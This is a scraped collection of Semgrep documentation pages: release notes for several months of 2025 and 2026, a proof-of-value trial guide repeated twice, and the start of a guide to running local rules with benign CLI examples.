* Improved how filters are presented in the **Supply Chain > Vulnerabilities** page.
* Unreachable findings are hidden by default from the findings list.
* Improved Supply Chain scan output and logging.
### Fixed
* Semgrep now scans large manifests and lockfiles, which were previously ignored due to Semgrep's default file size filtering. This ensures that your lockfiles can be scanned for dependencies and their relationships. This fixes a regression introduced in 1.117.0.
* Fixed a bug where Supply Chain reachability rules which match multiple dependencies could produce reachable findings on transitive dependencies even when the actually used direct dependency was not vulnerable.
* Various minor fixes to the Supply Chain UI.
## π€ Semgrep Assistant
### Added
* The Assistant Memories feature is now in **public beta**:
* Managing memories in Semgrep AppSec Platform now occurs under **Rules & Policies**, not **Settings**.
* Semgrep AppSec Platform displays data on the scope and impact of memories, including the number of findings affected and which findings affected
* Assistant now provides **suggested memories**, which are those that Assistant has generated based on your past triage actions. You can view these memories at any time in Semgrep AppSec Platform by navigating to **Rules & Policies > Assistant Memories > Suggested**. For each suggestion, you can choose one of the following actions:
* Activate the suggested memory to inform Assistant's future advice.
* Edit the memory, then activate it.
* Delete the memory.
* Users now see error messages providing specific reasons why a finding can't be analyzed. For example, local scans and scans from projects without code access can't be analyzed.
### Fixed
* Fixed an issue where Assistant's suggested fixes weren't displaying in Semgrep AppSec Platform.
* Fixed an issue where findings displayed the **Agree and ignore** option for Assistant autotriage feedback, even when **Agree and ignore** wasn't a valid option, resulting in errors.
## π Semgrep Secrets
### Changed
* Improved performance of Semgrep Secret scans due to back-end updates.
## π Documentation and knowledge base
### Added
* Added the following new documents, articles and sections:
* [Glossary for Semgrep Secrets](/semgrep-secrets/glossary)
* [Scan for generic secrets](/semgrep-secrets/generic-secrets)
* [Supported source code managers](/getting-started/scm-support)
* Added the following knowledge base articles:
* [Why do the findings count differ in the API and the Semgrep AppSec Platform UI?](/kb/semgrep-appsec-platform/findings-count-differ-api-platform)
* Created dedicated pages for popular programming languages. These pages detail features that Semgrep supports for that language.
* Minor additions to various documentation.
### Changed
* Updated the header and footer to provide more Semgrep learning materials.
* Updated instructions on how to add support for a language to Semgrep.
* Minor updates to various documentation.
### Fixed
* Corrected errors in Semgrep CE CI/CD snippets, thank you to [@Nirusu](https://github.com/Nirusu) for the contribution.
* Corrected wording issues in [Semgrep for developers > How Semgrep works](/for-developers/detection), thank you to [@timmeinerzhagen](https://github.com/timmeinerzhagen) for the contribution.
## π§ Semgrep Community Edition (CE)
The following versions of Semgrep CE were released in May 2025:
# May 2026
Source: https://docs.semgrep.dev/release-notes/may-2026
June 3, 2026 Β· 5 min read
The following updates were made to Semgrep in May 2026.
## π Semgrep AppSec Platform
### Added
* Semgrep AppSec Platform's **Usage & billing** page now displays:
* Information on self-service contributors. You can download a report listing all contributors who have made commits in the last 90 days, as well as contributor identities, last contribution timestamp, and associated repository URL.
* An alert if you exceed your contributor seat limit.
* Autofix pull requests now post the email of the user who initiated the pull request.
### Changed
* File path filters have been changed so that searching for `foo/bar` only returns results in `foo/bar` and not `foo/bar/bar`.
* **API**: Code's Autofix and Supply Chain's Autofix endpoints are now [unified into one endpoint](https://semgrep.dev/api/v2/docs/#tag/AutofixService) that can open a pull request for both Code and Supply Chain issues.
* **MCP**:
* Added a `refs` parameter to the `semgrep_findings` tool to filter findings by branch. When the branch isn't specified, Semgrep defaults to the primary branch.
* The `autotriage_verdict` is now optional so that findings without Multimodal (AI) analysis are returned correctly.
### Fixed
* Fixed an issue where bulk triaging findings sometimes triaged findings in repos that weren't selected.
* `semgrep ci` no longer transmits source code manager tokens to Semgrep AppSec Platform.
* **CLI**: the on-disk log file, `~/.semgrep/semgrep.log` or `$SEMGREP_LOG_FILE`, now respects the requested log level instead of always being written at DEBUG. This narrows the surface for credentials to land on disk through CI runner filesystems or job artifacts.
* **MCP**:
* Semgrep returns a clearer error when metrics are turned off and auto-config is specified.
* Fixed an issue where an unknown option error was shown when spawning the MCP daemon.
## π» Semgrep Code
### Added
* Added indexes to file targeting to improve the performance of `semgrepignore` matching.
* **Dart**: added support for:
* Typed metavariables, such as `$X as T`
* `metavariable-type: T` filters
* Metavariables inside string interpolations
* **PHP**: updated PHP target parsing to support grammar changes from PHP `8.1` to `8.5`.
### Changed
* Improved support for taint tracking through nested functions.
* Improved the parsing speed of JSON rules through the use of a new parser.
* The default memory limit for interfile scans on Linux machines now adapts to a maximum of 90% of the container's cgroup memory limit instead of the previous fixed value of 6 GiB. The fallback is 8 GiB if no cgroup limit is detected.
* The glibc constraint has been lowered from `>=2.35` to `>=2.34`, allowing Semgrep to run on Linux distributions that ship with glibc 2.34.
* Improved the startup time for `semgrep ci` by eliminating duplicate `semgrep-core` rule validation during CLI rule loading while still preserving configuration-style failures for invalid rules.
* Improved name resolution for fully qualified names in Java, Kotlin, and Scala, leading to fewer false positives and more true positives when the code under analysis uses fully qualified names instead of import statements.
* Improved Semgrep startup time by:
* Running rule validation in parallel across multiple cores
* Parsing rules in parallel across shards on multi-core machines
* Optimized rule pre-filtering and parsing
* **Jsonnet**: `import` and `importstr` reject paths that resolve outside the rule file's parent directory.
### Fixed
* URL-embedded credentials and `Authorization` header values in Git error messages and the captured tracebacks sent to the fail-open telemetry endpoint are now redacted, preventing leaks of secrets like `CI_JOB_TOKEN` from a failed `git fetch` in GitLab CI.
* Fixed an issue where baseline diff-aware scans treated every finding on a file as a new finding when rules failed.
* Fixed an issue where the `--sarif-output` and `--sarif` flags caused `nosemgrep`-suppressed findings to be reported in CLI scan output and block scans. Suppressed findings are now correctly excluded from terminal text output, the scan-summary count, and the CLI's exit code.
* Fixed an issue that resulted in unreliable target filtering in parallel scans.
* Fixed an issue with PHP and Scala parsing errors during highly parallel parsing.
* **Dart**: improved parser fidelity to fix parser-related errors.
* **Java**: fixed a naming resolution issue in Java projects.
* **Jsonnet**: recursion in rule loading and evaluation is now bound, so a malicious rule can no longer cause Semgrep to hang through mutually recursive imports or runtime function calls that recurse forever.
* **Scala**: top-level package declarations are now merged into a single package path.
## βοΈ Semgrep Supply Chain
### Added
* Dynamic Dependency Resolution is now in **public beta** for **Java** and **Kotlin**. With Dynamic Dependency Resolution, Supply Chain can now accurately inventory dependencies in projects without lockfiles or with incomplete lockfiles.
### Changed
* Improved Semgrep performance when parsing transitive reachability rules.
* **Scala**: Scala projects are identified by Supply Chain only using their root `build.sbt` file. Supply Chain no longer treats each `build.sbt` as a different subproject.
### Fixed
* Fixed an issue where Yarn Berry entries written in YAML explicit-key form weren't parsed correctly, leading to affected lockfiles failing to parse.
## π§ Semgrep Community Edition
* The following versions of Semgrep Community Edition were released in May 2026:
# November 2025
Source: https://docs.semgrep.dev/release-notes/november-2025
December 9, 2025 Β· 6 min read
The following updates were made to Semgrep in November 2025.
## π Semgrep AppSec Platform
### Added
* **Cortex** and **Sysdig** integrations are now generally available. Semgrep now uses deployment status and, for Cortex, internet-exposure data from these CNAPP providers to better prioritize findings.
* The **Settings > General** tab now displays all Semgrep product settings on a single page.
* Added the ability for non-admin users to complete the Semgrep GitHub App installation process using an install-request link. This ensures that private GitHub App installations can proceed, even when the initiating user lacks org admin permissions.
* Added a new **Validate** button and improved **connection status visibility** for CNAPP integrations. You can now see the validation state, last successful sync time, and clearer error conditions directly in Semgrep AppSec Platform.
* You can now update and delete customizable and saved views using the API. The endpoint returns a 404 if the view does not exist.
* Added support for filtering projects by status, including `setup`, `uninitialized`, and `archived`, in the Projects API endpoints, enabling more precise control when retrieving project lists.
* Added support for filtering projects by status, including `setup`, `uninitialized`, and `archived`, in the Projects API endpoints, enabling more precise control when retrieving project lists.
* Added missing fields `commit` and `enabled_products` to the `GetScan` v2 API response to achieve parity with v1 and ensure you receive complete scan metadata.
* Added support for updating a project's **primary branch** through the Public API v2, enabling parity with the v1 Projects API endpoint.
* Added support to the Public API for mutating project tags, enabling automated workflows to add, remove, or update tags on projects.
### Changed
* The **API tokens** and **CLI tokens** tabs under *Settings β Tokens* are now paginated, significantly improving page load speed for teams with many tokens.
### Fixed
* Fixed several issues with RBAC team-based filtering that caused you to see incorrect repository or findings access in certain deployments. You should now see correct repository and findings access based on their team permissions.
* Fixed an issue where the self-service checkout flow failed with an "Unrecognized enum value" error when starting a billing upgrade. You can now successfully initiate checkout sessions again.
* Fixed an issue where Jira automations persisted after deleting the Jira integration. Automations are now deleted when the integration is removed.
* Fixed an issue with the **Settings** pages where some searches resulted in no results on later pages.
* Fixed an issue where organization admins could not see projects without team assignments when RBAC was enabled. All projects now correctly appear in the **Projects** page for admins.
* Fixed an authorization issue in Network Broker key management.
* Fixed an issue where GitLab merge-base requests were serialized incorrectly, causing errors or inconsistent diff detection for GitLab users.
* Fixed an issue where rule descriptions on the **Findings** page used a fixed width. Descriptions now scale responsively again.
* Fixed an issue where GitHub SSO orgs using personal GitHub accounts made unnecessary calls to GitHub during user sync.
* Fixed an issue where new CNAPP integrations displayed an incorrect error state in Semgrep AppSec Platform.
* Fixed an issue where opening the scan's **Details** reset existing URL filters. Semgrep now preserves all active filters when you navigate to the **Details** page.
* Removed the ability for users to remove their own access in **Access Control**.
* You can no longer click the *Run a new scan* buttons on the **Projects** list and **Project Details** pages if you disable Managed Scans for the project.
## π» Semgrep Code
### Added
* MCP: added the `-k` / `--hook` flag to enable Semgrep scans from Claude Code Agent post-tool hooks.
* **Go**: enabled taint tracking across goroutines, improving detection accuracy in Go projects.
### Changed
* Semgrep now uses your source code manager to determine changes between branches during a scan. If you're using Network Broker, you must upgrade to benefit from this improvement if you are on **GitLab self-managed v0.36.0 or earlier** or **GitHub Enterprise v0.31.0 or earlier**.
### Fixed
* The progress bar for `semgrep scan` and `semgrep ci` now consistently reaches 100%.
* **Rust**: Fixed missing type alias translations so that Semgrep can correctly match the `()` type in type declarations.
* **Scala**: Fixed several issues with Scala match-expression handling in dataflow analysis, improving accuracy.
## βοΈ Semgrep Supply Chain
### Added
* Malicious dependency detection is now generally available. Semgrep detects malicious packages, including malware, typosquatting, and credential-stealing dependencies, using over 80,000 rules.
* Added a toggle in **Supply Chain settings** that allows you to disable malicious dependency rules. This provides an opt-out for teams who prefer not to run these rules or who encounter performance issues.
* Added a new checkbox in the Jira **Customize ticket creation** dialog that allows teams to automatically create tickets for malicious dependency findings on any branch.
### Fixed
* Semgrep AppSec Platform now displays the correct severity for Supply Chain findings, resolving a mismatch with automations and the CLI. Some existing findings may show updated severities, but policies and Jira workflows are unaffected.
* Fixed an issue that caused Supply Chain scans to fail when encountering newer manifest types.
* Fixed an issue where searches for dependencies only filtered the first page of results. Dependency filters now correctly return complete, accurate results.
* Fixed inaccurate dependency and lockfile counts in Supply Chain pages.
## π€ Semgrep Assistant
### Added
* You can now see rule and analysis explanations on the findingβs **Details** page. When a finding is classified as a true or false positive, an alert appears, and a detailed explanation is available in the **Finding description** tab. For true positives, it includes code context and threat-model rationale; for false positives, it includes reasoning only.
### Changed
* Assistant now automatically analyzes all new **Critical** and **High** severity findings with **Medium** or **High** confidence in full scans, removing the previous 10-issue limit.
### Fixed
* Removed outdated warning text from the Assistant autofix.
* Fixed an issue where agreeing with an autotriage verdict incorrectly marked findings as ignored. Findings are now only auto-ignored when user assigns it as a **False Positive**.
## π Documentation and knowledge base
### Added
* Added the following knowledge base articles:
## π§ OSS Engine
### Added
* The following versions of the OSS Engine were released in November 2025:
# October 2025
Source: https://docs.semgrep.dev/release-notes/october-2025
November 11, 2025 Β· 3 min read
The following updates were made to Semgrep in October 2025.
## π Semgrep AppSec Platform
### Added
* Semgrep Managed Scanning is now generally available. With Managed Scans, you can add repositories to your Semgrep organization in bulk without changing your existing CI workflows, and integrate Semgrep into developer workflows through PR or MR comments.
* Added a **Remember my email** checkbox to the SSO login page.
* Added the ability to change the name of **Teams**.
* The Semgrep CLI is now compatible with machines running Python 3.14.
### Changed
* The **Scan details** page now updates the URL with a permalink for easier sharing when viewed.
* Semgrep's Docker image base has been upgraded from Alpine Linux 3.21 to 3.22.
* `semgrep/semgrep` images now ship with Go 1.24.
* Improved performance by preventing unnecessary data fetches when scan details arenβt needed.
### Fixed
* Fixed an issue where filtering findings using project tags doesn't return results.
* Invalid CLI tokens now produce a clear error instead of a malformed success message.
## π» Semgrep Code
### Added
* Semgrep Code findings now show Assistant's true or false positive analyses more prominently, along with which memories Assisted used during analysis. The findings also present the threat model for specific security issues in the context of the code, along with a summary of each issue.
* The `/setup_semgrep_mcp` command now supports Claude Code.
### Changed
* Temporary files created for rule checks are cleaned up after scans.
* The rule validation check now includes a language check to ensure that only valid languages are used, preventing invalid rules from being added to policies.
### Fixed
* Fixed an issue where some scans terminated with exit code 7.
* MCP:
* Fixed tool calls failing for some models, such as GPT-5.
* Fixed a bug where resource closure errors occurred when trying to use the MCP with the `streamable-http` transport method.
## βοΈ Semgrep Supply Chain
### Added
* Supply Chain's reachability analysis now covers all high-severity CVEs from supported sources starting from 2017 for Go packages.
### Fixed
* Supply Chain subproject resolution table is now shown in the CLI output after a scan, even when no subprojects were successfully resolved.
* UV lockfiles that include editable and local dependencies without versions are now parsed correctly. The unversioned dependencies are ignored.
* Failures to parse UV lockfiles are now correctly reported as **Failed** rather than **Unsupported**.
## π€ Semgrep Assistant
### Added
* Added a new filter for AI component tags with **No decision**, allowing users to find findings analyzed by the Assistant, but not classified as **low** or **high** risk.
### Changed
* Assistant's rule generation functionality in Semgrep AppSec Platform has been deprecated.
## π§ OSS Engine
* The following versions of the OSS Engine were released in October 2025:
# September 2025
Source: https://docs.semgrep.dev/release-notes/september-2025
October 23, 2025 Β· 3 min read
The following updates were made to Semgrep in September 2025.
## π Semgrep AppSec Platform
### Added
* Added the ability to filter Secrets findings by branch.
* Added a confirmation pop-up when switching between the **Production** and **Pre-production** views.
### Changed
* **Jira**: the Semgrep Jira integration now automatically creates Jira tickets for Semgrep Code and Semgrep Secrets findings with a **critical** severity level.
### Fixed
* **Jira**: Team information now loads when the user attempts to map to the **Team** custom field.
* Supply Chain's **Advisories** filter now filters based on the correct field.
* Fixed the handling of invalid GitHub refresh tokens. If a user's GitHub refresh token is invalid, Semgrep prompts the user to log in again.
* Minor UI fixes.
## π» Semgrep Code
### Added
* Added the `semgrep mcp` subcommand to the Semgrep CLI tool, which runs the Semgrep MCP server.
* Improved pre-filtering for taint rules, primarily when taint labels are used.
* **Scala**: Added support for method dispatching through traits.
* **TypeScript**: improved name resolution for destructuring parameters.
### Changed
* The Semgrep MCP server repository has been moved from [semgrep/mcp](https://github.com/semgrep/mcp) to [semgrep/semgrep](https://github.com/semgrep/semgrep/tree/develop/cli/src/semgrep/mcp).
* Updated `semgrep-interfaces` to accept only valid language keys for rules in Semgrep Editor.
* Semgrep now filters `SEMGREP_APP_TOKEN` from any request made to non-Semgrep URLs passed to `-f/-c/--config` when fetching configurations and rules.
* **Python**: Fixed an issue involving the resolution of implicit namespace modules.
* **TypeScript**:
* Fixed an issue where the pattern `var $X = $FUNC($REQ, $RES, ...) {...}` didn't parse correctly.
* Improved the performance of `tsconfig.json` matching for TypeScript projects that contain multiple `tsconfig.json` files.
### Fixed
* Glob patterns containing `\#` or `\` in `.semgrepignore` and included `.gitignore` files are now interpreted correctly.
* Updated `opentelemetry-*` packages to remove `pkg_resources is deprecated` warnings.
* **Dart**: Fixed an issue in language processing to return better results.
## βοΈ Semgrep Supply Chain
### Added
* Supply Chain's reachability analysis now covers all high severity CVEs from supported sources starting from 2017 for **JavaScript** packages.
## π Semgrep Secrets
### Added
* [Slack notifications for Semgrep Secrets](/semgrep-appsec-platform/slack-notifications#secrets) is now publicly available.
## π Documentation and knowledge base
### Added
* Added instructions for [connecting Semgrep to GitHub Enterprise Cloud with data residency](/deployment/connect-scm#github-enterprise-cloud-with-data-residency).
* Added the following knowledge base articles:
* [Why can't I access my Semgrep organization after logging in with GitHub?](/kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login)
* [Why are my projects showing a status of "Not yet started" after I enable Managed Scans?](/kb/semgrep-appsec-platform/projects-not-yet-started-sms)
* [Remove users from your Semgrep AppSec Platform organization](/kb/semgrep-appsec-platform/remove-users)
## π§ OSS Engine
* The following versions of the OSS Engine were released in September 2025:
# Run a successful proof-of-value (POV) trial with Semgrep
Source: https://docs.semgrep.dev/run-a-successful-pov
**START A POV**
To start a proof-of-value (POV), contact Sales at [ sales@semgrep.com](mailto:sales@semgrep.com).
Run a POV to learn more about Semgrep solutions and receive support that is specific to your infrastructure and business needs. During a POV, you receive dedicated sales, engineering, and support resources to ensure that every Semgrep feature that supports your infrastructure is implemented quickly and reliably.
## POV requirements
To run a successful POV, the Semgrep team needs your organization's decisions regarding these factors:
* **The team involved in running the POV**
* Who among your organization will be evaluating Semgrep? Semgrep creates accounts for everyone on the team who is involved in the POV.
* **The method to scan the repositories used in the POV**
* **Recommended: Semgrep Managed Scans (SMS)**
* This is the fastest way to deploy Semgrep to the repositories you want to scan. It requires access to your code, which can be limited to only certain repositories.
* **CI/CD**
* This method relies on a CI configuration file, such as a GitHub Actions workflow file. A CI/CD job must be created for each repository you want to scan.
* **The technical resources**
* You must decide on and communicate the repositories you want Semgrep to scan for the POV.
* You must decide on and communicate to Semgrep your account management, infra, and tech needs.
**BENEFITS OF SEMGREP MANAGED SCANS**
SMS is the **fastest** and **most scalable** deployment method, since it enables you to add repositories for scanning without the need for CI integrations. However, SMS requires access to your code.
## Summary
The following table includes a short summary of the POV process.
| Step | Activities |
| :----------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Both parties agree to run a POV |
Verify that your technical stack is supported by Semgrep.
Begin gathering necessary permissions from your organization for **technical resources** to run the POV.
|
| Pre-POV kickoff call and preparation |
Both parties establish success criteria and alignment of the POV goals through a **kickoff call**.
Semgrep prepares for the POV by creating a dedicated Slack channel and other necessary accounts.
|
| Formal POV period |
Semgrep deployment rollout.
Detection and remediation of findings.
Analysis of Semgrep ROI.
|
| Optional POV activities |
A roadmap call with the Semgrep product team.
A rule-writing session where you can learn how to write custom Semgrep rules.
|
| POV conclusion | Semgrep sets up a wrap-up call that discusses Semgrep's performance and your feedback about Semgrep. |
## General steps
Running a POV involves the following steps:
POV agreement between both parties
Pre-POV or kickoff period
Formal POV period
POV conclusion
You can also participate in optional activities:
* Roadmap call
* Rule-writing session
Refer to the following sections for details.
### Both parties agree to run a POV
* From your end (the buyer), a need has been identified and a budget has been allocated.
* From Semgrep's end, the team has verified, with your help, that your technical stack is supported by Semgrep. This includes:
* Programming languages
* Source code managers
* Account management
* Other factors
* **Optional**: If you'd like a **technical deep dive** of Semgrep from a sales engineer, you can request one through your account executive.
* Semgrep recommends that **the buyer (you) start gathering and gaining approvals** from your organization for resources needed to run the POV, such as repository access.
### Pre-POV stage
#### Kickoff call
* During the pre-POV kickoff call, both parties set **success criteria**.
* You and your organization can define the success criteria, or Semgrep can assist you in creating them.
* The pre-POV kickoff call ensures that all stakeholders are aligned for the goals of the POV.
* It also ensures that the technical requirements for both parties are clearly communicated.
#### Preparation for POV
In preparation for the POV, Semgrep performs the following tasks:
* Sets up **one (1) trial license** for your organization.
* Sets up a **dedicated Slack channel** where you can reach out to the team during the POV.
* Creates an account in Semgrep AppSec Platform for your organization.
* Connects your source code manager, such as GitHub or Bitbucket, to Semgrep.
* Sets up SSO if you require it.
* For on-premise environments, Semgrep sets up the Network Broker to facilitate secure access between Semgrep and your private network.
### Formal POV period
This is a **two-week** period in which Semgrep assists you in deployment, scanning, triage, reporting, and all other related functions for a successful security program.
It is broken into three smaller phases.
#### Semgrep deployment rollout
In this phase, the Semgrep team assists you in completing the following tasks:
* Add repositories for scanning through SMS or through a CI/CD job
* View findings in Semgrep AppSec Platform for scanned repositories within the POV's scope
* Enable Multimodal, ensuring that it's analyzing full scan findings
* Prepare to set up pull request or merge request comments (PR or MR comments) and involve developers in Semgrep
#### Detection and remediation of findings
In this phase, the Semgrep team assists you in completing the following tasks:
* Review the quality of findings with out-of-the-box rules
* Show how Semgrep **filters out noise** with:
* Memories and triage for Semgrep Code
* Direct and transitive reachability for Semgrep Supply Chain
* Secrets validation for Semgrep Secrets
* Improve developer experience through contextual, actionable vulnerability information:
* Inline PR comments or MR comments
* Tailored remediation guidance in PR comments or MR comments
* Breaking changes and upgrade guidance for Supply Chain findings
* Integrate Jira for ticket creation and Slack for notifications if these are part of the success criteria
#### Semgrep return-on-investment
In the final phase, the Semgrep team provides you with data on the return on investment that Semgrep provides, compared to your existing security program.
Some metrics include:
* The number of developers in your company and the cost per developer per hour
* Number of hours **reduced** per developer, per year in triage time, research and fix time by having Semgrep Multimodal provide Suggested fixes and triage recommendations
* Number of hours reduced in triage time per developer by having the ability to detect if secrets are valid or invalid
* Reduction in review time with Semgrep Supply Chain reachability analysis
### Optional POV activities
Feel free to request the following:
* **Roadmap call**. You can request a call with the Product team to learn about Semgrep's upcoming features and approaches.
* **Rule-writing session**. Learn how to write Semgrep rules to customize Semgrep for your organization's unique code standards.
### POV conclusion
When the POV ends, Semgrep sets up a wrap-up call that discusses the following:
* Semgrep's performance measured against the evaluation criteria
* Your feedback about Semgrep
## Trial license duration
The trial license duration lasts for 30 days.
## Appendix: common questions and evaluation criteria
* **Feature set**
* What features and language support do you need?
* How easy is it to set up a Semgrep POV environment?
* **Deployment**
* Does Semgrep support your unique infrastructure or network needs?
* Does Semgrep support your SCM and CI provider? Can you easily deploy Semgrep through SMS?
* **Integrations and notifications**
* Do the Semgrep integrations support your workflows for that tool? For example, does Semgrep support your custom fields in Jira?
* Are your custom workflows supported by the Semgrep API?
* **Findings and reports**
* What percent of findings are true positives? How does this compare with previous tools?
* Is Semgrep Multimodal (AI) able to reduce false positives?
* Does the dashboard assist you in tracking secure guardrails?
* **Security**
* Can Semgrep handle your sensitive data securely?
* Can Semgrep successfully block PRs based on the criteria you need to set?
* **Support and documentation**
* How easy is it to work with the Semgrep support team? Do they respond within the timeframe provided to you?
* Does the documentation provide you with a clear explanation of the product and features? Was it easy for you to find answers?
# Run a successful proof-of-value (POV) trial with Semgrep
Source: https://docs.semgrep.dev/run-a-successful-pov-1
**START A POV**
To start a proof-of-value (POV), contact Sales at [ sales@semgrep.com](mailto:sales@semgrep.com).
Run a POV to learn more about Semgrep solutions and receive support that is specific to your infrastructure and business needs. During a POV, you receive dedicated sales, engineering, and support resources to ensure that every Semgrep feature that supports your infrastructure is implemented quickly and reliably.
## POV requirements
To run a successful POV, the Semgrep team needs your organization's decisions regarding these factors:
* **The team involved in running the POV**
* Who among your organization will be evaluating Semgrep? Semgrep creates accounts for everyone on the team who is involved in the POV.
* **The method to scan the repositories used in the POV**
* **Recommended: Semgrep Managed Scans (SMS)**
* This is the fastest way to deploy Semgrep to the repositories you want to scan. It requires access to your code, which can be limited to only certain repositories.
* **CI/CD**
* This method relies on a CI configuration file, such as a GitHub Actions workflow file. A CI/CD job must be created for each repository you want to scan.
* **The technical resources**
* You must decide on and communicate the repositories you want Semgrep to scan for the POV.
* You must decide on and communicate to Semgrep your account management, infra, and tech needs.
**BENEFITS OF SEMGREP MANAGED SCANS**
SMS is the **fastest** and **most scalable** deployment method, since it enables you to add repositories for scanning without the need for CI integrations. However, SMS requires access to your code.
## Summary
The following table includes a short summary of the POV process.
| Step | Activities |
| :----------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Both parties agree to run a POV |
Verify that your technical stack is supported by Semgrep.
Begin gathering necessary permissions from your organization for **technical resources** to run the POV.
|
| Pre-POV kickoff call and preparation |
Both parties establish success criteria and alignment of the POV goals through a **kickoff call**.
Semgrep prepares for the POV by creating a dedicated Slack channel and other necessary accounts.
|
| Formal POV period |
Semgrep deployment rollout.
Detection and remediation of findings.
Analysis of Semgrep ROI.
|
| Optional POV activities |
A roadmap call with the Semgrep product team.
A rule-writing session where you can learn how to write custom Semgrep rules.
|
| POV conclusion | Semgrep sets up a wrap-up call that discusses Semgrep's performance and your feedback about Semgrep. |
## General steps
Running a POV involves the following steps:
POV agreement between both parties
Pre-POV or kickoff period
Formal POV period
POV conclusion
You can also participate in optional activities:
* Roadmap call
* Rule-writing session
Refer to the following sections for details.
### Both parties agree to run a POV
* From your end (the buyer), a need has been identified and a budget has been allocated.
* From Semgrep's end, the team has verified, with your help, that your technical stack is supported by Semgrep. This includes:
* Programming languages
* Source code managers
* Account management
* Other factors
* **Optional**: If you'd like a **technical deep dive** of Semgrep from a sales engineer, you can request one through your account executive.
* Semgrep recommends that **the buyer (you) start gathering and gaining approvals** from your organization for resources needed to run the POV, such as repository access.
### Pre-POV stage
#### Kickoff call
* During the pre-POV kickoff call, both parties set **success criteria**.
* You and your organization can define the success criteria, or Semgrep can assist you in creating them.
* The pre-POV kickoff call ensures that all stakeholders are aligned for the goals of the POV.
* It also ensures that the technical requirements for both parties are clearly communicated.
#### Preparation for POV
In preparation for the POV, Semgrep performs the following tasks:
* Sets up **one (1) trial license** for your organization.
* Sets up a **dedicated Slack channel** where you can reach out to the team during the POV.
* Creates an account in Semgrep AppSec Platform for your organization.
* Connects your source code manager, such as GitHub or Bitbucket, to Semgrep.
* Sets up SSO if you require it.
* For on-premise environments, Semgrep sets up the Network Broker to facilitate secure access between Semgrep and your private network.
### Formal POV period
This is a **two-week** period in which Semgrep assists you in deployment, scanning, triage, reporting, and all other related functions for a successful security program.
It is broken into three smaller phases.
#### Semgrep deployment rollout
In this phase, the Semgrep team assists you in completing the following tasks:
* Add repositories for scanning through SMS or through a CI/CD job
* View findings in Semgrep AppSec Platform for scanned repositories within the POV's scope
* Enable Multimodal, ensuring that it's analyzing full scan findings
* Prepare to set up pull request or merge request comments (PR or MR comments) and involve developers in Semgrep
#### Detection and remediation of findings
In this phase, the Semgrep team assists you in completing the following tasks:
* Review the quality of findings with out-of-the-box rules
* Show how Semgrep **filters out noise** with:
* Memories and triage for Semgrep Code
* Direct and transitive reachability for Semgrep Supply Chain
* Secrets validation for Semgrep Secrets
* Improve developer experience through contextual, actionable vulnerability information:
* Inline PR comments or MR comments
* Tailored remediation guidance in PR comments or MR comments
* Breaking changes and upgrade guidance for Supply Chain findings
* Integrate Jira for ticket creation and Slack for notifications if these are part of the success criteria
#### Semgrep return-on-investment
In the final phase, the Semgrep team provides you with data on the return on investment that Semgrep provides, compared to your existing security program.
Some metrics include:
* The number of developers in your company and the cost per developer per hour
* Number of hours **reduced** per developer, per year in triage time, research and fix time by having Semgrep Multimodal provide Suggested fixes and triage recommendations
* Number of hours reduced in triage time per developer by having the ability to detect if secrets are valid or invalid
* Reduction in review time with Semgrep Supply Chain reachability analysis
### Optional POV activities
Feel free to request the following:
* **Roadmap call**. You can request a call with the Product team to learn about Semgrep's upcoming features and approaches.
* **Rule-writing session**. Learn how to write Semgrep rules to customize Semgrep for your organization's unique code standards.
### POV conclusion
When the POV ends, Semgrep sets up a wrap-up call that discusses the following:
* Semgrep's performance measured against the evaluation criteria
* Your feedback about Semgrep
## Trial license duration
The trial license duration lasts for 30 days.
## Appendix: common questions and evaluation criteria
* **Feature set**
* What features and language support do you need?
* How easy is it to set up a Semgrep POV environment?
* **Deployment**
* Does Semgrep support your unique infrastructure or network needs?
* Does Semgrep support your SCM and CI provider? Can you easily deploy Semgrep through SMS?
* **Integrations and notifications**
* Do the Semgrep integrations support your workflows for that tool? For example, does Semgrep support your custom fields in Jira?
* Are your custom workflows supported by the Semgrep API?
* **Findings and reports**
* What percent of findings are true positives? How does this compare with previous tools?
* Is Semgrep Multimodal (AI) able to reduce false positives?
* Does the dashboard assist you in tracking secure guardrails?
* **Security**
* Can Semgrep handle your sensitive data securely?
* Can Semgrep successfully block PRs based on the criteria you need to set?
* **Support and documentation**
* How easy is it to work with the Semgrep support team? Do they respond within the timeframe provided to you?
* Does the documentation provide you with a clear explanation of the product and features? Was it easy for you to find answers?
# Run rules
Source: https://docs.semgrep.dev/running-rules
This document explains how to use local Semgrep rules when scanning your project.
## About rules
Rules define the code patterns Semgrep looks for when scanning your project. When a rule matches code, Semgrep creates a finding. The finding can be related to security, performance, or correctness issues, or it can be used to enforce best practices. Local rules are those that are present in your local environment and accessible to you when running Semgrep using the command line.
## Types of local rules
There are two types of local rules:
* **Ephemeral rules**: Ephemeral rules are those that you use once. You can pass the rule to Semgrep through the command line as part of your `semgrep scan` command.
* **YAML-defined rules**: YAML-defined rules are [configured in YAML files](/writing-rules/overview) and conform to Semgrep's [rule syntax](/writing-rules/rule-syntax) schema.
## Ephemeral rules
Use the `-e` or `--pattern` flags for ephemeral rules that are used once:
```bash theme={null}
semgrep scan -e 'RULE_DEFINITION'
```
For example, to check for the Python `==` operator where the left and right sides are the same, which is often indicative of a bug, run the following command:
```bash theme={null}
# ensure that you substitute the placeholder with the path to your project
semgrep scan -e '$X == $X' --lang=py PATH/TO/PROJECT
```
## YAML-defined rules
### Use the Semgrep default ruleset
To run a Semgrep scan in your local environment with the default Semgrep ruleset, use:
```bash theme={null}
semgrep scan --config=auto
```
### Use a Semgrep Registry rule
The [Semgrep Registry](https://semgrep.dev/explore) makes available public rules that you can use to scan your project. Semgrep organizes registry rules into **rulesets**. Rulesets group related rules by features such as programming language, OWASP category, or framework. The Semgrep team curates rulesets, which are updated as new rules are added to the [Semgrep Registry](https://semgrep.dev/explore).
To run rules from the Semgrep Registry locally:
Go to [Semgrep Registry](https://semgrep.dev/explore).
Select a ruleset and choose a rule.
Click **Expand rule > Run locally**.
Copy the snippet for **local install**, and add the path to the source code you want to scan in your terminal:
```bash theme={null}
semgrep scan --config="RULESET-ID" PATH/TO/SRC
```
Optional: run the Semgrep Registry rules simultaneously with local rules:
```bash theme={null}
semgrep scan --config="RULESET-ID" --config=PATH/TO/MYRULE.YAML PATH/TO/SRC
```
**RULE IDS OF LOCAL RULES**
Semgrep adds custom prefixes to IDs of local rules using these steps:
1. Get the relative path from the process's current working directory to the directory containing the rules file.
